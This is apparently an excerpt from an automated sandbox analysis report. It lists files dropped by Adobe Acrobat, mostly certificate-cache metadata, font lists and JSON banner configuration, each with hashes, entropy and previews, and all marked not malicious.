Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklKxu3/tfllXlE/HT8kjmlJtNNX8RolJuRdxLlGB9lQRYwpDdt:kKTxuPeT8qmlRNMa8RdWBwRd
MD5:	103C34E984735B888659ACD43128244E
SHA1:	2CF12F597BFE6513CA5062C0B16354901424CB64
SHA-256:	8E82EF1A011F2B371142DF4A54A73E8DD5FEF72D01A030B9868D619ABBA4AE2D
SHA-512:	45909FE551D7AC56FD0C5291EC1F939291F6F661FC6267CCAE6D6A268305B6EAEF3EDBC7B091DAC902868E3EE5B29FF12453F77487069ACADD5252FA7928D3B0
Malicious:	false
Preview:	p...... ........yT.mGc..(....................................................... ..........W.....g..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.225002211752905
Encrypted:	false
SSDEEP:	6:kKdyL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:VyiDImsLNkPlE99SNxAhUe/3
MD5:	4B79B5215C4001109311E8A75D481728
SHA1:	7F327F10DC8F2B557400613EC4BF47FF3E6CE13C
SHA-256:	58A568E47A2A517A3A06D92DE83869D7A04F7737F582C2D8303E504552D8BA2F
SHA-512:	171CF5B910C2C8BD46771085372688AB58962E511586C900AC9E2708816C553F344A2B3F01A4B509A7787D3E6E0740A7AF65BB78F847283200058E341FDD9F9C
Malicious:	false
Preview:	p...... ........_s.Gc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6608

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6608

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.34301833339904
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLn61C7DL2Ox+FIbRI6XVW7+0YEYxoAvJM3g98kUwPeUkwRe9:YvXKXD6eUYpW7FGMbLUkee9
MD5:	9A4612BD37BDCD2F6FF46030B8949AD3
SHA1:	E8C6ACD16C0E50EA3755F4F97859DC846540346E
SHA-256:	D837D0ACC9FCDCB5889C3311DE6B7A59EE58FC27480C4FCF71E480E4BA420CFD
SHA-512:	ED64B9D06311F199126C9AF4693FFDE0D28D48F8C3B175E2D98D3C5364133929EFF30E65191F4790D4494BCD7FC52CBAE9054973CB4AFEAED1D8056B25732A12
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea88695d-a91a-47a8-b66e-0639148899d6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736681185345,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.28333486617641
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLn61C7DL2Ox+FIbRI6XVW7+0YEYxoAvJfBoTfXpnrPeUkwRe9:YvXKXD6eUYpW7FGWTfXcUkee9
MD5:	8E96F1CF05FCAFBF80AB43380ACC648A
SHA1:	8FD29BB3D58B7065AE8535E5420876C1C539657B
SHA-256:	0E78845CE2FFC56629399809A67083829BE2554B71991E2476824758BD41BFA6
SHA-512:	51191D374B1DAFBB48AFE08C589BBA9C8A2B9B57CD1DD2261D67F9702781BF4CB1D692D3D3F29C264C50067D7FBDE8AD50DDC4448003CF61F5796F29794807D7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea88695d-a91a-47a8-b66e-0639148899d6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736681185345,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.262821435313811
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLn61C7DL2Ox+FIbRI6XVW7+0YEYxoAvJfBD2G6UpnrPeUkwRe9:YvXKXD6eUYpW7FGR22cUkee9
MD5:	A8AC0A9CEFBECCB31A517E988BEBF91A
SHA1:	CD8C0976C51E45BC20F81404B10D396CC57E3264
SHA-256:	F4CD959A91AFB5B7C1C7C44D7DFDB148A9BBC627F38758BF879542452E322D08
SHA-512:	C2087D9028AA5AA93D47F75213EF32C55F019B1456EC44D5598C0A56890DF89B0CDEA6744372141CFDAF4BBE61A995FEB6FCE501E251481F0A095D9B45C7F9B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea88695d-a91a-47a8-b66e-0639148899d6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736681185345,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.321197349547076
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLn61C7DL2Ox+FIbRI6XVW7+0YEYxoAvJfPmwrPeUkwRe9:YvXKXD6eUYpW7FGH56Ukee9
MD5:	9AA0F8309FB6CA92DC5ADB70641AF136
SHA1:	9051FC6137BA86B787E81EE6734AC9EEE06C135F
SHA-256:	0A5BDFD2D69D338EF5C6EA984BEC4773BE13A9611D3E46C3308E6B8AE7C7DB51
SHA-512:	F106A3297A5B22DB1B9168153BCAC3AA1C9A0F0DDC904BF8FCB0E7A01584A5251F4876A336314A442A2E0E7FABD4CDA9816AC9B8F41D04C71745291E6D92008A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea88695d-a91a-47a8-b66e-0639148899d6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736681185345,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68347413948642
Encrypted:	false
SSDEEP:	24:Yv6XGeFiKpLgE9cQx8LennAvzBvkn0RCmK8czOCCSr:YvHlKhgy6SAFv5Ah8cv/r
MD5:	460246106697B41BA5B46CAB3E4BAD71
SHA1:	749938AECDBC87C491E25D314DE2ADAD24CA2DD5
SHA-256:	D2E44B793C25AE6AEF927FB862AF69EC449159F600CD5789C87B6FC224CDD702
SHA-512:	05B8C013E9638828DA6A226EEE5240284C3CD0033B48FFDD59E68645B31B0F9320941689378F589AFDCD8900371A11F109970C93C503F80CF4B5B5DD9A7301D0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea88695d-a91a-47a8-b66e-0639148899d6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736681185345,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.265354322387386
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLn61C7DL2Ox+FIbRI6XVW7+0YEYxoAvJf8dPeUkwRe9:YvXKXD6eUYpW7FGU8Ukee9
MD5:	6604E51067C9969FA249947F8D29A0E0
SHA1:	91602D900E5C948154F0597BF13D0B10D0F75238
SHA-256:	2CD1AD1D89B611628416906671AA27C4B6989571CB8022A80D84B6CA91F477F4
SHA-512:	5AF9788EA6CED72E997D20D47985544CAC4D362244B0D8F5B69E78FE4A7D7F21358291CCFB5EFF2B37D9037E40B576E37465320A54E0A315D5D8751E9E411B59
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea88695d-a91a-47a8-b66e-0639148899d6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736681185345,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.267249096671911
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLn61C7DL2Ox+FIbRI6XVW7+0YEYxoAvJfQ1rPeUkwRe9:YvXKXD6eUYpW7FGY16Ukee9
MD5:	05665D23632B0342701E667466EB87CA
SHA1:	AA6F4F3A2D8AF45F8F6E696C3D55C9C28B475FF5
SHA-256:	7C72894B0501A7000F860D976408FFC0C67FBF3330CE932A9824D3D503D93E35
SHA-512:	F176F626AD9E94FE4808A06C03CB725CDF818AD2423B63625660166B168722084F6CBBE90C875EF66DAD69F7BC54F36EDE9A75D8DF4D5302E0EAC3DE34F3893E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea88695d-a91a-47a8-b66e-0639148899d6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736681185345,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284815527446692
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLn61C7DL2Ox+FIbRI6XVW7+0YEYxoAvJfFldPeUkwRe9:YvXKXD6eUYpW7FGz8Ukee9
MD5:	DA604111DC93E76958AA520BF3BDA6BD
SHA1:	9E38159813B617E2835459FEB9F2138065B8DE35
SHA-256:	07F419674D1F3EB63687B24258F7D6BEFC5A6D965E80067E0164D40D11853382
SHA-512:	76073531ADEDFA7FBAE1FCBF9EFF0D3ABDBBF4D9805B7323939458D44FEC61C283FD68D400171E7C9E157C00D3EC3ABF48332659588DD50EC0CDF788F607AAC1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea88695d-a91a-47a8-b66e-0639148899d6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736681185345,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.291661688326068
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLn61C7DL2Ox+FIbRI6XVW7+0YEYxoAvJfzdPeUkwRe9:YvXKXD6eUYpW7FGb8Ukee9
MD5:	184B52D58DADEFFA771C081E185AFEC9
SHA1:	C2B05F382CC72CB2C517BE7CD42125144928CEE9
SHA-256:	A2EE7CAF8DE332EBF0C792A0C9532156517206EA97F7E35C5833CA4443282CAF
SHA-512:	32A9772DE9E7FF468319182B784248A5F2389F94A856C4E65D235C57987A53B7E11E1A52CCB8E2DDDB20E69B934F4635E928EF7DE2375F6D7EAB2649F4C07D6B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea88695d-a91a-47a8-b66e-0639148899d6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736681185345,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.272270641556703
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLn61C7DL2Ox+FIbRI6XVW7+0YEYxoAvJfYdPeUkwRe9:YvXKXD6eUYpW7FGg8Ukee9
MD5:	F1771F33A0906E3581F96AB24CF8370A
SHA1:	60F02BB4459D76402850012968B874AD8A4DBD21
SHA-256:	6FDC1A12893ECC2F4481743787688D8211328499ADFAC9716DBD97AB7CB2121E
SHA-512:	776D640DA9CCBFCB70A5981DDBB27866B6D02FC3B69EE3B94A14E212E642D633AA5C9270A6621B61FB03BDA33980FAE9D49938B8479915C959CD11CA2A5F996E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea88695d-a91a-47a8-b66e-0639148899d6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736681185345,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.258131812376877
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLn61C7DL2Ox+FIbRI6XVW7+0YEYxoAvJf+dPeUkwRe9:YvXKXD6eUYpW7FG28Ukee9
MD5:	0B4293B7625522BC61DB55E74D5F90D7
SHA1:	25D73EBA4157C80EDFC5C61F9E584B8E79CF0B65
SHA-256:	BC9B0A5D931A38279A5CBA408AEBE89E17B1CDA4BA41581F2305B4EF3A3CD386
SHA-512:	35CC1975DE807F2A35326A0BB6772451C1B36BB972B33595C7C749AC273F907891AB0B43B948F070C856E7FE0290917B4A962757C239C99E397AD0AB8C2ED1DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea88695d-a91a-47a8-b66e-0639148899d6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736681185345,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.256008319013682
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLn61C7DL2Ox+FIbRI6XVW7+0YEYxoAvJfbPtdPeUkwRe9:YvXKXD6eUYpW7FGDV8Ukee9
MD5:	30A4C424FE1E1DE0DB319309022F0FCD
